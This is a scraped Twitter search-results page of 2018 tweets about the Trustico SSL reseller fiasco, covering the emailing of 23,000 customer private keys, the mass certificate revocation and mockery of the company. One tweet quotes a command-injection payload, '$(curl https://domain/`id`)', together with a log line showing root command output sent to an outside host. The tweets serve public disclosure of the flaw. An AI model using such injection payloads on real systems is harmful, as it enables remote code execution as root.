Rezultati pretraživanja
  1. 1. ožu 2018.

    Hmmm... I can't validate my Domain certificate via , it just ends up sending weird curl requests to my server. 🤔😏 Anyone got an idea whats wrong?

    50 replies 860 proslijeđenih tweetova 1.518 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  2. 28. velj 2018.

    Introducing Trust-ICO: A new initial coin offering where your private keys are stored on the public blockchain.

    7 replies 120 proslijeđenih tweetova 308 korisnika označava da im se sviđa
  3. 1. ožu 2018.

    Stop trusting CAs. Take back control over who you trust. Give us a call.

    At which point Trustico's CEO decided to EMAIL 23,000 CUSTOMER PRIVATE KEYS to Digicert, apparently in order to trigger that clause.
    Prikaži ovu nit
    5 proslijeđenih tweetova 8 korisnika označava da im se sviđa
  4. 28. velj 2018.

    We don't keep your keys - so we can't lose them >

    8 proslijeđenih tweetova 32 korisnika označavaju da im se sviđa
  5. 1. ožu 2018.

    "🔐✅ Norton Secured" 👍 😂😭

    11 proslijeđenih tweetova 47 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  6. 4. ožu 2018.

    Ever wonder what happens when your SSL certificate gets revoked? We (and 22,999 others evidently) found out recently. Your website just stops working with no option to ignore errors, which is appropriate, I suppose. Some browsers/devices took while to catch on. Thanks .

    2 proslijeđena tweeta 3 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  7. 28. velj 2018.

    23,000 certs will be axed in next 24 hours after private keys leak Customers of HTTPS certificate reseller are reeling after being told their certs – as many as 23,000 – will be rendered useless within the next 24 hours.

    8 proslijeđenih tweetova 11 korisnika označava da im se sviđa
  8. 1. ožu 2018.
    Odgovor korisnicima

    This is the latest invention, a so called shared private key :) you can do many stuff with those ex email 20k of this

    6 korisnika označava da im se sviđa
  9. 2. ožu 2018.

    Explore this RiskIQ PassiveTotal Public Project to pivot on a sample of certificates affected by the recent security blunder, in which they sent private keys in a corporate email:

    5 proslijeđenih tweetova 5 korisnika označava da im se sviđa
  10. 28. velj 2018.

    I was able to uncover secret video of the Trustico kerfuffle from this morning:

    2 korisnika označavaju da im se sviđa
  11. 1. ožu 2018.
    Odgovor korisniku/ci

    WTAF? Has anyone at ever heard of the word security? Why not just have all admin pages open with no need for credentials...there really are no words!

    1 korisnik označava da mu se sviđa
  12. 1. ožu 2018.

    Oh god, they're also passing unescaped curl arguments to a root shell. is easily the least secure SSL reseller in history...

    Hmmm... I can't validate my Domain certificate via , it just ends up sending weird curl requests to my server. 🤔😏 Anyone got an idea whats wrong?
    Prikaži ovu nit
    1 proslijeđeni tweet 3 korisnika označavaju da im se sviđa
  13. 2. ožu 2018.

    The Epic Fail Saga - S1E1 Shockingly cavalier - S1E2 Add remote-code execution hole to mass-revocation drama - S1E3 About as bad as it gets No CVE needed to enter the Pwnie Awards 2018

    8 proslijeđenih tweetova 7 korisnika označava da im se sviđa
  14. 28. velj 2018.

    If this utter fuck up shows anything it's that the certificate reseller market needs killing. Commercial CAs need to stop proxying trust to organisations like this

    DigiCert Statement on Trustico Certificate Revocation
    2 korisnika označavaju da im se sviđa
  15. 28. velj 2018.
    Odgovor korisniku/ci

    I wonder how many other SSL resellers are out there creating and storing their customers private keys?

    2 korisnika označavaju da im se sviđa
  16. 1. ožu 2018.

    Don't think this is just a problem, here's providing me with a pre-compromised private key:

    6 replies 3 proslijeđena tweeta 15 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  17. 28. velj 2018.

    Geeze trustico. Why does your CEO have access to the keystore? As I need the business reason so I can update my processes and standards documents I supply to my clients! Even I never considered that access requirement!

    1 reply 1 proslijeđeni tweet 11 korisnika označava da im se sviđa
  18. 1. ožu 2018.

    Hi Kelly, about that ordering system...

    1 reply 1 korisnik označava da mu se sviđa
  19. 1. ožu 2018.

    And some command injection that gets executed as root, because why not. Solid work by 😂

    Odgovor korisniku/ci @svblxyz
    $(curl https://domain/`id`) 35.190.140.214 - [01/Mar/2018:09:52:14 -0500] "GET /uid=0(root) HTTP/1.1" 404 209 "-" "curl/7.29.0" :D
    2 korisnika označavaju da im se sviđa
  20. 1. ožu 2018.

    well... so bad

Nema rezultata.

Čini se da učitavanje traje već neko vrijeme.

Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.